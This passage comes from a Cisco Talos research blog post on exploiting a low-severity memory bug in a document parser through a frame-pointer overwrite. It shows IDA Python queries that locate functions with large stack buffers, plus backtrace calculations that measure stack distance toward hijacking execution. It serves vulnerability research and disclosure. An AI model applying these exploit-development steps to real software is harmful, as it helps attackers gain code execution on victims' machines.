[16] +0x3a6fae : 0x3be26fae..0x3be27048 : (1) FvT+ : __thiscall struc_3a9de4::readBoxHeader?_3a6fae : lvars:0024 args:2 refs:2 exits:1
[17] +0x3a7664 : 0x3be27664..0x3be276be : (1) FvT+ : __cdecl object_OSEG::read_ushort_3a7664 : lvars:001c args:2 refs:90 exits:1
[18] +0x3a96ed : 0x3be296ed..0x3be2972f : (1) F-D+ : __thiscall struc_3a9de4::get_flagField_3a96ed : lvars:0008 args:2 refs:2 exits:1
[19] +0x4d951d : 0x3bf5951d..0x3bf5958a : (1) FvD* : __cdecl object_9c2044::readStyleType(1000)_4d951d : lvars:18d4 args:4 refs:1 exits:1
[20] +0x6bf3a6 : 0x3c13f3a6..0x3c13f3e7 : (1) FvD+ : __thiscall object_9c2d50::create_field(64)_6bf3a6 : lvars:0020 args:1 refs:7 exits:1
[21] +0x779662 : 0x3c1f9662..0x3c1f96c0 : (1) F-t+ : __thiscall sub_3C1F9662 : lvars:0004 args:2 refs:3 exits:1
[22] +0x779828 : 0x3c1f9828..0x3c1f98ad : (1) FvD* : __thiscall object_9e82a0::deserialize_field_779828 : lvars:0028 args:2 refs:1 exits:1
[23] +0x77a7bf : 0x3c1fa7bf..0x3c1fa892 : (1) FvD* : __thiscall object_e7480::readStyleType(1002)_77a7bf : lvars:0028 args:6 refs:1 exits:1
[24] +0x7b15a6 : 0x3c2315a6..0x3c23161a : (1) FvD+ : __thiscall object_10cbd2::get_field(38)_7b15a6 : lvars:001c args:2 refs:36 exits:1
[25] +0x7b9e07 : 0x3c239e07..0x3c239e7c : (1) FvD+ : __thiscall object_10cbd2::get_field(34)_7b9e07 : lvars:001c args:2 refs:98 exits:1
[26] +0x861925 : 0x3c2e1925..0x3c2e1993 : (1) FvD+ : __thiscall object_9e82a0::method_createfield_861925 : lvars:0040 args:1 refs:2 exits:1
# It looks like item #19, object_9c2044::readStyleType(1000)_4d951d, has more space allocated for its "lvars" than any of the others.
At this point, we can adjust the proof-of-concept for the vulnerability to include the 0x1000
record type. Then we can set a breakpoint on the method to prove that it is being executed during runtime. After setting the breakpoint, however, the method does not get executed. Instead, another function, object_9e5ffc::readStyleType(1000)_1b6bf7
, is called to read record type 0x1000
. After reversing the contents of this method, we are fortunate in that it uses a different methodology to allocate 0x1020
bytes on the stack. This likely would have been found if we had expanded our query as in the following listing.
# Define a few temporary functions.
def guess_prolog(f, minimum):
'''Use the stackpoints to guess the prolog by searching for a minimum. Right way would be to check "$ ignore micro"...'''
fn, start = func.by(f), func.address(f)
iterable = (ea for ea, delta in func.chunks.stackpoints(f) if abs(idaapi.get_sp_delta(fn, ea)) > minimum)
return start, next(iterable, start)
# No register calls
filter_out_register = lambda opref: not isinstance(ins.op(opref), register_t)
# Use itertools.chain to flatten results through db.functions
flatten_calls = lambda fs: set(itertools.chain(fs, db.functions(ea=filter(func.has, map(ins.op_ref, itertools.chain(*map(func.calls, fs)))))))
# Start at style record parser, flatten the first layer of calls.
Python> f = db.a('struc_3a9de4::parseStylesContent_3a7048')
Python> db.functions.list(ea=flatten_calls(flatten_calls(func.calls(f))))
[0] +0x00140c : 0x3ba8140c..0x3ba81412 : (1) J-D* : __thiscall JSFC_2094 : lvars:0000 args:8 refs:2256 exits:0
[1] +0x089368 : 0x3bb09368..0x3bb0936e : (1) J-D* : __stdcall JSFC_5190 : lvars:0000 args:2 refs:25 exits:0
[2] +0x090e42 : 0x3bb10e42..0x3bb10e48 : (1) J-D* : __thiscall JSFC_5438 : lvars:0000 args:3 refs:32 exits:0
[3] +0x0915ea : 0x3bb115ea..0x3bb115f0 : (1) J-D* : __thiscall JSFC_3583 : lvars:0000 args:2 refs:620 exits:0
...
[120] +0x8ea58a : 0x3c36a58a..0x3c36a5c1 : (1) LvD+ : __usercall __EH_prolog3_catch : lvars:0000 args:1 refs:1613 exits:1
[121] +0x8ea600 : 0x3c36a600..0x3c36a62d : (1) LvD+ : __usercall __alloca_probe : lvars:0000 args:2 refs:1082 exits:1
[122] +0x8ea914 : 0x3c36a914..0x3c36a920 : (1) LvD+ : __unknown ___report_rangecheckfailure : lvars:0000 args:0 refs:104 exits:2
# Filter those 123 functions looking for one with a large frame size.
Python> db.functions.list(ea=flatten_calls(func.calls(f)), frame=True, predicate=lambda f: func.frame(f).size > 0x1000)
[0] +0x4d951d : 0x3bf5951d..0x3bf5958a : (1) FvD* : __cdecl object_9c2044::readStyleType(1000)_4d951d : lvars:18d4 args:4 refs:1 exits:1
# Search another layer deeper.
Python> db.functions.list(ea=flatten_calls(flatten_calls(func.calls(f))), frame=True, predicate=lambda f: func.frame(f).size > 0x1000)
[0] +0x1b6d66 : 0x3bc36d66..0x3bc36e26 : (1) F?D+ : __cdecl object_OSEG::method_readHugeBuffer(1000)_1b6d66 : lvars:1020 args:7 refs:2 exits:1
[1] +0x4d951d : 0x3bf5951d..0x3bf5958a : (1) FvD* : __cdecl object_9c2044::readStyleType(1000)_4d951d : lvars:18d4 args:4 refs:1 exits:1
[2] +0x77ad4b : 0x3c1fad4b..0x3c1fae93 : (1) FvD+ : __thiscall sub_3C1FAD4B : lvars:1074 args:1 refs:1 exits:1
# 3 results. Record type 0x1000 looks like it's worth considering (and hence was named as such).
We can confirm this method satisfies our requirements during runtime by setting a breakpoint on this method and verifying that the object_9e5ffc::readStyleType(1000)_1b6bf7
method loads 0x1000
bytes of data from the stream onto the stack.
Now that we’ve found a candidate with the ability to read a large amount of data from the stream into its frame, we’ll need to know how much to adjust the stack pointer to reach it. To determine this value, we'll need to calculate the distance between the offset of the 0x1000
-sized buffer, and the value of the stack pointer at the time that we intend to control execution. The backtrace of both these points intersect in the method at 0x3C1FAF0F
, object_9c2044::method_processStreams_77af0f
. Thus, we will only need the distance from the frame belonging to that function.
# Backtraces for the function where we hijack execution and where we can allocate a huge stack buffer.
Python> hijack_backtrace = [0x3bbb2de4, 0x3be276be, 0x3be26cb2, 0x3c1faf0f, 0x3c1fb3ed, 0x3c1fb4ab, 0x3be27954]
Python> huge_backtrace = [0x3bc36d66, 0x3bc36bf7, 0x3be27048, 0x3be276be, 0x3be26cb2, 0x3c1faf0f, 0x3c1fb3ed, 0x3c1fb4ab, 0x3be27954]
Python> diffindex = next(index for index, (L1,L2) in enumerate(zip(hijack_backtrace[::-1], huge_backtrace[::-1])) if L1 != L2)
Python> assert(hijack_backtrace[-diffindex] == huge_backtrace[-diffindex])
# Use the index as the common function call, and grab all the frames that are distinct.
Python> commonframe = func.frame(hijack_backtrace[-diffindex])
Python> hijack, huge = (listmap(func.frame, items) for items in [hijack_backtrace[:-diffindex], huge_backtrace[:-diffindex
Source: Cisco Talos
Source Link: https://blog.talosintelligence.com/exploiting-low-severity-vulnerability-using-a-frame-pointer-overwrite/